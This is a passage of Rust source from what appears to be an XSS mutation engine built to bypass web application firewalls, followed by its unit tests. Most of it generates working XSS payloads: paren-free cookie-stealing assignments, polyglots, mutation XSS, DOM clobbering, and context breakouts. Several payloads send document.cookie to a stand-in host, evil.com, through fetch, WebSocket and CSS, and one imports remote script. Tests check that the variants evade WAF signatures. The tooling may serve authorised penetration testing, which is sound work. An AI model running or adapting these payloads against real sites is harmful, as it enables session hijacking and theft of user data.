    // Promoted to FIRST slot for high-paranoia WAFs (naxsi, AWS WAF
    // managed) that block any `<`, `()`, or `[...]` byte sequence.
    // These payloads are exploitable in JS-context reflection (e.g.
    // `<script>var x="USERINPUT"</script>` after a `";...//` breakout)
    // and don't trigger naxsi's libinjection because they have no
    // function calls.
    //
    // Live-confirmed against wafrift-bench naxsi (2026-05-09):
    //   location=document.cookie         → 200 ✓
    //   top.location=document.cookie     → 200 ✓
    //   document.title=document.cookie   → 200 ✓
    //   self.location=name               → 200 ✓
    //   window.name=document.cookie      → 200 ✓
    for candidate in [
        "location=document.cookie",
        "top.location=document.cookie",
        "document.location=document.cookie",
        "location.href=document.cookie",
        "document.title=document.cookie",
        "document.body.innerHTML=document.cookie",
        "self.location=name",
        "window.name=document.cookie",
        "top.location=document.URL",
        "location=document.URL",
    ] {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: candidate.to_string(),
            description: "paren-free assignment XSS (cookie/URL exfil)".into(),
            rules_applied: vec!["xss_paren_free"],
        });
    }

    // Strategy budget: reserve capacity for later strategies to avoid
    // strategy 1 (tag/event × exec = 300 combos) consuming everything.
    let tag_event_budget = (max_mutations * 40 / 100).max(5);

    // Strategy 1: Tag/event substitution with all exec functions
    for (prefix, suffix, _extra) in TAG_EVENT_COMBOS {
        for entry in exec_functions() {
            if results.len() >= tag_event_budget {
                break;
            }
            let exec_fn = entry.template.as_str();
            let mutated = format!("{prefix}{exec_fn}{suffix}");
            if mutated != payload {
                results.push(XssMutation {
                    payload: mutated,
                    description: format!("tag/event: {prefix}{exec_fn}"),
                    rules_applied: vec!["tag_event_swap"],
                });
            }
        }
        if results.len() >= tag_event_budget {
            break;
        }
    }

    // Strategy 2: Case alternation on tag names
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<ScRiPt>alert(1)</sCrIpT>".into(),
            description: "case alternation on script tag".into(),
            rules_applied: vec!["case_alternation"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<IMG SRC=x OnErRoR=alert(1)>".into(),
            description: "case alternation on img tag".into(),
            rules_applied: vec!["case_alternation"],
        });
    }

    // Strategy 3: Null byte injection — REMOVED (audit 2026-05-10).
    // Modern HTML parsers (whatwg algorithm) treat `\0` inside a tag
    // name as U+FFFD or simply terminate the tag. The vector never
    // executes; shipping it as a "valid XSS variant" was a credibility
    // lie. If a WAF really does drop the NUL and the upstream then
    // accepts the truncated `<scr` as `<script`, that's a
    // WAF-specific bug — handle it via a per-WAF profile, not a
    // global default mutation.

    // Strategy 4: URI scheme payloads
    for entry in uri_schemes() {
        if results.len() >= max_mutations {
            break;
        }
        let scheme = entry.payload.as_str();
        results.push(XssMutation {
            payload: scheme.to_string(),
            description: format!("URI scheme: {}", &scheme[..scheme.len().min(30)]),
            rules_applied: vec!["uri_scheme"],
        });
    }

    // Strategy 5: SVG-specific payloads
    for entry in svg_payloads() {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: entry.payload.clone(),
            description: "SVG animation/script execution".into(),
            rules_applied: vec!["svg_payload"],
        });
    }

    // Strategy 6: HTML entity encoding of tag characters
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;".into(),
            description: "hex HTML entity encoded tags".into(),
            rules_applied: vec!["html_entity"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "&#60;script&#62;alert(1)&#60;/script&#62;".into(),
            description: "decimal HTML entity encoded tags".into(),
            rules_applied: vec!["html_entity"],
        });
    }

    // Strategy 7: Polyglot XSS payloads
    let polyglots = [
        "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teleType/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert(1)//>",
        "'-alert(1)-'",
        "\"onmouseover=alert(1)//",
        "</script><svg onload=alert(1)>",
        "*/alert(1)/*",
        "\" onfocus=alert(1) autofocus=\"",
        "' onfocus=alert(1) autofocus='",
    ];
    for poly in &polyglots {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: poly.to_string(),
            description: format!("polyglot: {}...", &poly[..poly.len().min(30)]),
            rules_applied: vec!["polyglot"],
        });
    }

    // Strategy 8: DOM clobbering
    let dom_clobber = [
        "<form name=body><input name=innerHTML value='<img src=x onerror=alert(1)>'></form>",
        "<a id=x name=x href=javascript:alert(1)></a>",
        "<img src=x onerror=window.name='alert(1)';eval(name)>",
        "<form><output name=innerHTML><img src=x onerror=alert(1)></output></form>",
    ];
    for clobber in &dom_clobber {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: clobber.to_string(),
            description: "DOM clobbering".into(),
            rules_applied: vec!["dom_clobber"],
        });
    }

    // Strategy 9: Iframe srcdoc smuggling
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<iframe srcdoc='&lt;script&gt;alert(1)&lt;/script&gt;'></iframe>".into(),
            description: "iframe srcdoc with HTML-entity-encoded script".into(),
            rules_applied: vec!["srcdoc_smuggle"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<iframe srcdoc='&lt;img src=x onerror=alert(1)&gt;'></iframe>".into(),
            description: "iframe srcdoc with entity-encoded img".into(),
            rules_applied: vec!["srcdoc_smuggle"],
        });
    }

    // Strategy 10: Mutation XSS
    let mutation_xss = [
        "<noscript><img src=x onerror=alert(1)></noscript>",
        "<table><caption><img src=x onerror=alert(1)></table>",
        "<svg><foreignObject><body onload=alert(1)></foreignObject></svg>",
        "<math><mtext><script>alert(1)</script></mtext></math>",
        "</title><svg onload=alert(1)>",
        "</style><svg onload=alert(1)>",
        "</xmp><svg onload=alert(1)>",
    ];
    for mxss in &mutation_xss {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: mxss.to_string(),
            description: "mutation XSS via parser differentials".into(),
            rules_applied: vec!["mutation_xss"],
        });
    }

    // Strategy 11: window.name exploitation
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<script>eval(window.name)</script>".into(),
            description: "window.name eval".into(),
            rules_applied: vec!["window_name"],
        });
    }

    // Strategy 12: Prototype chain override — REMOVED (audit 2026-05-10).
    // The classic `this.onerror=null;{}.valueOf=alert;throw 1` doesn't
    // reliably trigger alert(): `throw` propagates to window.onerror,
    // not the element handler, so the assigned `valueOf` is never
    // coerced. Shipping it as a working mutation misled scanner output.

    // Strategy 13: Template literal injection (backtick payloads)
    let template_literals = [
        "<img src=x onerror=alert`1`>",
        "<svg onload=`${alert(1)}`>",
        "<img src=x onerror=window[`al`+`ert`](1)>",
        "<img src=x onerror=[].find(alert)>",
        "<img src=x onerror=[1].map(alert)>",
        "<img src=x onerror=[1].forEach(alert)>",
        "<img src=x onerror=[1].filter(alert)>",
    ];
    for tl in &template_literals {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: tl.to_string(),
            description: "template literal / array method exec".into(),
            rules_applied: vec!["template_literal"],
        });
    }

    // Strategy 14: import() dynamic module execution
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<script>import('data:text/javascript,alert(1)')</script>".into(),
            description: "dynamic import() with data: URI".into(),
            rules_applied: vec!["dynamic_import"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=import('//evil.com/xss.js')>".into(),
            description: "dynamic import() from remote".into(),
            rules_applied: vec!["dynamic_import"],
        });
    }

    // Strategy 15: CSS injection for data exfiltration
    //
    // Audit (2026-05-10): removed `<div style=background-image:url(
    // javascript:alert(1))>`. CSS `url()` has NEVER executed JavaScript
    // — that vector is from before CSS3 and was killed by every browser
    // implementation. The other three are real exfil channels (CSS
    // imports, request leakage, external stylesheet) and stay.
    let css_payloads = [
        "<style>@import url('//evil.com/log?token='+document.cookie)</style>",
        "<style>*{background:url('//evil.com/?'+document.cookie)}</style>",
        "<link rel=stylesheet href='//evil.com/exfil.css'>",
    ];
    for css in &css_payloads {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: css.to_string(),
            description: "CSS-based injection / exfiltration".into(),
            rules_applied: vec!["css_injection"],
        });
    }

    // Strategy 16: WebSocket-based exfiltration
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=\"new WebSocket('ws://evil.com/'+document.cookie)\">"
                .into(),
            description: "WebSocket exfiltration".into(),
            rules_applied: vec!["websocket_exfil"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=\"fetch('//evil.com/?c='+document.cookie)\">".into(),
            description: "fetch() exfiltration".into(),
            rules_applied: vec!["fetch_exfil"],
        });
    }

    // Strategy 17: Shadow DOM injection
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<div id=host></div><script>host.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'</script>".into(),
            description: "shadow DOM injection".into(),
            rules_applied: vec!["shadow_dom"],
        });
    }

    // Strategy 18: MathML context payloads
    for entry in mathml_payloads() {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: entry.payload.clone(),
            description: "MathML parser-differential XSS".into(),
            rules_applied: vec!["mathml"],
        });
    }

    // Strategy 19: Markdown context payloads
    for entry in markdown_payloads() {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: entry.payload.clone(),
            description: "Markdown link/HTML injection XSS".into(),
            rules_applied: vec!["markdown"],
        });
    }

    // ANTI-RIG (end to end): the legacy canned arsenal is NOT
    // oracle-gated and can append a vector that is not THIS attack
    // (e.g. a paren-free `location=document.cookie` against an
    // `alert(1)` PoC). scald — and the de-rigged bench — must never
    // receive a non-attack. Drop anything the independent soundness
    // oracle cannot confirm still executes the original.
    results.retain(|m| still_executes_xss(payload, &m.payload));
    results.truncate(max_mutations);
    results
}

/// True when the payload carries a concrete data-exfiltration target,
/// transport sink, obfuscated delivery, or remote host — i.e. its
/// value is NOT "pop an alert" but "steal X / call out to Y". For
/// those, the fixed `alert(1)` library is a *different* payload, never
/// a mutation. A bare `alert(1)` / `confirm(1)` /
/// `alert(document.domain)` proof-of-concept is deliberately NOT
/// structured: there the canned tag/event/polyglot arsenal IS the
/// equivalent product, so it keeps the existing path untouched.
pub(crate) fn is_structured_xss(payload: &str) -> bool {
    let lc = payload.to_ascii_lowercase();
    const STRUCTURED: &[&str] = &[
        "document.cookie",
        "localstorage",
        "sessionstorage",
        "indexeddb",
        "fetch(",
        "xmlhttprequest",
        "sendbeacon(",
        ".sendbeacon",
        "navigator.sendbeacon",
        "navigator.credentials",
        "websocket",
        "new image",
        "eventsource(",
        "import(",
        "atob(",
        "eval(name",
        "eval(window.name",
        "eval(location",
        "eval(document.cookie",
        "http://",
        "https://",
        "ws://",
        "wss://",
        "=//",
        "('//",
        "(\"//",
        "+'//",
        "+\"//",
        ",'//",
        ",\"//",
    ];
    STRUCTURED.iter().any(|m| lc.contains(m))
}

/// The attack's class-defining tokens: the exact technique markers it
/// uses plus the operator's exfil host. A real evasion preserves at
/// least one; a canned `alert(1)` substitution carries none.
fn structured_xss_markers(payload: &str) -> Vec<String> {
    let lc = payload.to_ascii_lowercase();
    let mut markers: Vec<String> = Vec::new();
    const TECH: &[&str] = &[
        "document.cookie",
        "localstorage",
        "sessionstorage",
        "indexeddb",
        "fetch(",
        "xmlhttprequest",
        "sendbeacon",
        "navigator.credentials",
        "websocket",
        "new image",
        "eventsource(",
        "import(",
        "atob(",
        "eval(name",
        "eval(window.name",
        "eval(location",
    ];
    for t in TECH {
        if lc.contains(t) {
            markers.push((*t).to_string());
        }
    }
    // Operator's exfil host — the single most attack-defining token; a
    // canned variant will never reproduce it.
    let b = lc.as_bytes();
    let mut i = 0;
    while i + 1 < b.len() {
        if b[i] == b'/' && b[i + 1] == b'/' {
            let mut j = i + 2;
            while j < b.len() {
                let c = b[j];
                if c.is_ascii_alphanumeric() || c == b'.' || c == b'-' {
                    j += 1;
                } else {
                    break;
                }
            }
            let host = lc[i + 2..j].trim_matches('.');
            if host.len() >= 4 && host.contains('.') {
                markers.push(host.to_string());
            }
            i = j.max(i + 2);
        } else {
            i += 1;
        }
    }
    markers.sort();
    markers.dedup();
    markers
}

/// Pull the operator's actual JavaScript out of an XSS payload so it
/// can be re-templated into other elements/contexts (the genuine
/// evasion) instead of being discarded for a canned `alert(1)`.
fn extract_exec_body(payload: &str) -> Option<String> {
    let bytes = payload.as_bytes();
    let lb = payload.to_ascii_lowercase().into_bytes();

    // 1. First inline event handler:  on<name> = <value>
    let mut k = 0;
    while k + 2 < lb.len() {
        if lb[k] == b'o'
            && lb[k + 1] == b'n'
            && lb[k + 2].is_ascii_alphabetic()
            && (k == 0 || !lb[k - 1].is_ascii_alphabetic())
        {
            let mut e = k + 2;
            while e < lb.len() && lb[e].is_ascii_alphabetic() {
                e += 1;
            }
            let mut p = e;
            while p < lb.len() && lb[p].is_ascii_whitespace() {
                p += 1;
            }
            if p < lb.len() && lb[p] == b'=' {
                p += 1;
                while p < lb.len() && lb[p].is_ascii_whitespace() {
                    p += 1;
                }
                if p < bytes.len() && (bytes[p] == b'"' || bytes[p] == b'\'') {
                    let q = bytes[p];
                    let start = p + 1;
                    let mut end = start;
                    while end < bytes.len() && bytes[end] != q {
                        end += 1;
                    }
                    let v = payload[start..end].trim();
                    if !v.is_empty() {
                        return Some(v.to_string());
                    }
                } else {
                    let start = p;
                    let mut end = start;
                    while end < bytes.len() && bytes[end] != b'>' {
                        end += 1;
                    }
                    let v = payload[start..end].trim();
                    if !v.is_empty() {
                        return Some(v.to_string());
                    }
                }
            }
        }
        k += 1;
    }

    let lc = payload.to_ascii_lowercase();

    // 2. javascript: URL scheme
    if let Some(pos) = lc.find("javascript:") {
        let start = pos + "javascript:".len();
        let rest = &payload[start..];
        let end = rest
            .find(|c| c == '"' || c == '\'' || c == '>')
            .unwrap_or(rest.len());
        let v = rest[..end].trim();
        if !v.is_empty() {
            return Some(v.to_string());
        }
    }

    // 3. <script> … </script> inner text
    if let Some(open) = lc.find("<script") {
        if let Some(gt) = lc[open..].find('>') {
            let s = open + gt + 1;
            let end = lc[s..].find("</script").map(|x| s + x).unwrap_or(lc.len());
            let v = payload[s..end].trim();
            if !v.is_empty() {
                return Some(v.to_string());
            }
        }
    }

    // 4. Bare JS expression / breakout with no markup at all
    if !payload.contains('<') {
        let v = payload.trim();
        if !v.is_empty() {
            return Some(v.to_string());
        }
    }

    None
}

/// Structured-attack path: re-template the operator's REAL JavaScript
/// into the full tag/event/scheme/breakout arsenal, then enforce that
/// every surviving variant still carries the attack's defining
/// construct. This is the XSS analogue of the SQL `is_structured_attack`
/// chokepoint — it makes the variants genuine evasions of THIS attack
/// instead of a canned `alert(1)` the de-rigged bench would reject.
fn structured_mutate(payload: &str, max_mutations: usize) -> Vec<XssMutation> {
    let mut results: Vec<XssMutation> = Vec::new();

    // The attack exactly as written is always a valid candidate.
    let original = payload.trim().to_string();
    results.push(XssMutation {
        payload: original.clone(),
        description: "structured XSS: original attack (passthrough)".into(),
        rules_applied: vec!["structured_passthrough"],
    });

    if let Some(body) = extract_exec_body(payload) {
        // Only re-nest when the JS has no markup of its own (otherwise
        // `<img …><img …>` is malformed and not a real variant).
        if !body.contains('<') {
            for (prefix, suffix, _extra) in TAG_EVENT_COMBOS {
                if results.len() >= max_mutations {
                    break;
                }
                let v = format!("{prefix}{body}{suffix}");
                if v != original {
                    results.push(XssMutation {
                        payload: v,
                        description: format!("structured XSS retargeted into {prefix}"),
                        rules_applied: vec!["structured_tag_event_retarget"],
                    });
                }
            }
            if results.len() < max_mutations {
                results.push(XssMutation {
                    payload: format!("javascript:{body}"),
                    description: "structured XSS in javascript: URL".into(),
                    rules_applied: vec!["structured_js_uri"],
                });
            }
            for (wrap_pre, wrap_suf, rule) in [
                ("\"><img src=x onerror=", ">", "structured_attr_breakout"),
                ("'><img src=x onerror=", ">", "structured_attr_breakout"),
                ("</script><svg onload=", ">", "structured_js_breakout"),
                ("</title><svg onload=", ">", "structured_rcdata_breakout"),
                ("<svg/onload=", ">", "structured_slash_evasion"),
            ] {
                if results.len() >= max_mutations {
                    break;
                }
                results.push(XssMutation {
                    payload: format!("{wrap_pre}{body}{wrap_suf}"),
                    description: "structured XSS context breakout".into(),
                    rules_applied: vec![rule],
                });
            }
            if results.len() < max_mutations {
                results.push(XssMutation {
                    payload: format!("<SvG OnLoAd={body}>"),
                    description: "structured XSS case-permuted element".into(),
                    rules_applied: vec!["structured_case_alternation"],
                });
            }
        }
    }

    // Chokepoint: every surviving variant MUST still carry the attack's
    // defining construct (exfil host / cookie read / transport sink).
    // A variant that lost all of them is not this attack any more — the
    // exact failure mode the rig exploited.
    let markers = structured_xss_markers(payload);
    if !markers.is_empty() {
        results.retain(|m| {
            let lc = m.payload.to_ascii_lowercase();
            markers.iter().any(|mk| lc.contains(mk.as_str()))
        });
    }

    results.truncate(max_mutations);
    results
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn tag_event_mutations_produced() {
        let mutations = mutate("<script>alert(1)</script>", 20);
        assert!(!mutations.is_empty());
        let has_img = mutations.iter().any(|m| m.payload.contains("<img"));
        let has_svg = mutations.iter().any(|m| m.payload.contains("<svg"));
        assert!(has_img || has_svg, "should use alternative tags");
    }

    #[test]
    fn exec_function_rotation() {
        let mutations = mutate("<script>alert(1)</script>", 50);
        let has_confirm = mutations.iter().any(|m| m.payload.contains("confirm"));
        let has_eval = mutations.iter().any(|m| m.payload.contains("eval("));
        assert!(has_confirm || has_eval, "should rotate exec functions");
    }

    #[test]
    fn uri_scheme_variants() {
        let mutations = mutate("<script>alert(1)</script>", 50);
        let has_uri = mutations
            .iter()
            .any(|m| m.payload.starts_with("javascript:"));
        assert!(has_uri, "should have javascript: URI scheme variant");
    }

    #[test]
    fn svg_animate_variant() {
        let mutations = mutate("<script>alert(1)</script>", 50);
        let has_animate = mutations.iter().any(|m| m.payload.contains("onbegin"));
        assert!(has_animate, "should have SVG animate variant");
    }

    #[test]
    fn polyglot_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_polyglot = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"polyglot"));
        assert!(has_polyglot, "should have polyglot variant");
    }

    #[test]
    fn dom_clobber_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_clobber = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"dom_clobber"));
        assert!(has_clobber, "should have DOM clobbering variant");
    }

    #[test]
    fn mutation_xss_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_mxss = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"mutation_xss"));
        assert!(has_mxss, "should have mutation XSS variant");
    }

    #[test]
    fn srcdoc_smuggle_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_srcdoc = mutations.iter().any(|m| m.payload.contains("srcdoc"));
        assert!(has_srcdoc, "should have iframe srcdoc smuggling variant");
    }

    #[test]
    fn no_mutations_for_non_xss() {
        let mutations = mutate("hello world", 10);
        assert!(
            mutations.is_empty(),
            "non-XSS input should not produce mutations"
        );
    }

    #[test]
    fn mathml_variant() {
        let mutations = mutate("<script>alert(1)</script>", 200);
        let has_mathml = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"mathml"));
        assert!(has_mathml, "should have MathML variant");
    }

    #[test]
    fn markdown_variant() {
        let mutations = mutate("<script>alert(1)</script>", 200);
        let has_markdown = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"markdown"));
        assert!(has_markdown, "should have Markdown variant");
    }

    #[test]
    fn max_mutations_respected() {
        let mutations = mutate("<script>alert(1)</script>", 5);
        assert!(mutations.len() <= 5);
    }

    #[test]
    fn high_volume_does_not_panic() {
        let _ = mutate("<script>alert(1)</script>", 1000);
    }

    // ── systematic equivalence engine (scald's surface) ──────────────

    #[test]
    fn systematic_every_variant_is_oracle_sound() {
        // PROVING: every systematically-generated variant of a real
        // attack still executes per the INDEPENDENT soundness oracle.
        for atk in [
            "<svg onload=alert(1)>",
            "<img src=x onerror=fetch('//evil.tld/c?'+document.cookie)>",
            "<a href=javascript:alert(document.domain)>x</a>",
        ] {
            let v = systematic_variants(atk, 60);
            assert!(v.len() >= 8, "too few systematic for {atk:?}: {}", v.len());
            for m in &v {
                assert!(
                    still_executes_xss(atk, &m.payload),
                    "UNSOUND systematic variant {:?} from {atk:?}",
                    m.payload
                );
            }
        }
    }

    #[test]
    fn systematic_actually_evades_the_literal_token() {
        // PROVING the point: at least one sound variant carries NO raw
        // `alert(` / `onerror=` literal (the WAF signature) yet the
        // oracle still confirms execution — that is a real evasion, not
        // a cosmetic reshuffle.
        let atk = "<img src=x onerror=alert(1)>";
        let v = systematic_variants(atk, 80);
        let evasive = v.iter().any(|m| {
            !m.payload.contains("alert(") && still_executes_xss(atk, &m.payload)
        });
        assert!(evasive, "no variant evaded the literal `alert(` token");
    }

    #[test]
    fn systematic_is_deterministic() {
        let a: Vec<_> = systematic_variants("<svg onload=alert(1)>", 40)
            .into_iter()
            .map(|m| m.payload)
            .collect();
        let b: Vec<_> = systematic_variants("<svg onload=alert(1)>", 40)
            .into_iter()
            .map(|m| m.payload)
            .collect();
        assert_eq!(a, b, "systematic engine must be deterministic per payload");
        assert!(
            a.iter().collect::<std::collections::HashSet<_>>().len() >= 8,
            "insufficient diversity: {a:?}"
        );
    }

    #[test]
    fn systematic_anti_rig_non_xss_yields_nothing() {
        // ADVERSARIAL: a non-exec string has no exec span, so the
        // engine emits nothing rather than fabricating a "bypass".
        assert!(systematic_variants("just a sentence", 20).is_empty());
        assert!(systematic_variants("SELECT * FROM t", 20).is_empty());
    }

    #[test]
    fn scald_surface_mutate_request_xss_is_strong_and_sound() {
        // The exact call scald makes: mutate_request(p, Xss, ..).
        use crate::grammar::{DiversityPolicy, MutationRequest, mutate_request};
        let atk = "<svg onload=alert(1)>";
        let req = MutationRequest {
            max_count: 40,
            diversity: DiversityPolicy::CoverageGuided,
            exclude: std::collections::HashSet::new(),
        };
        let out = mutate_request(atk, crate::PayloadType::Xss, &req);
        assert!(out.len() >= 20, "scald gets too few variants: {}", out.len());
        // No emitted variant may be a non-attack (anti-rig end to end).
        for m in &out {
            assert!(
                still_executes_xss(atk, &m.payload),
                "scald would receive a NON-ATTACK variant: {:?}",
                m.payload
            );
        }
    }
}